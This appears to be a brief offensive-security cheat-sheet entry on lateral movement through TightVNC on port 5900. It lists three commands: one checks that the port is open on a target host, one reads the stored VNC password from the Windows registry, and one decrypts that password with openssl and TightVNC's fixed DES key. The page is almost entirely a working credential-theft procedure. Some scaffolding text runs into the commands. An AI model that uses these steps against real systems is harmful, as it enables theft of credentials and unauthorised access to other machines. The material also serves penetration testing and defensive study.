5900 - VNC
Lateral Movement
Windows
# Check if the VNC port is open on the target
Test-NetConnection -ComputerName SRV02 -Port 5900# Retrieve the VNC password from the registry
> reg query HKLM\SOFTWARE\TightVNC\Server /s
...
Password REG_BINARY 816ECB5CE758EAAA
# Decrypt the password
echo -n 816ECB5CE758EAAA | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -CvLinux
Software
TightVNC

Last updated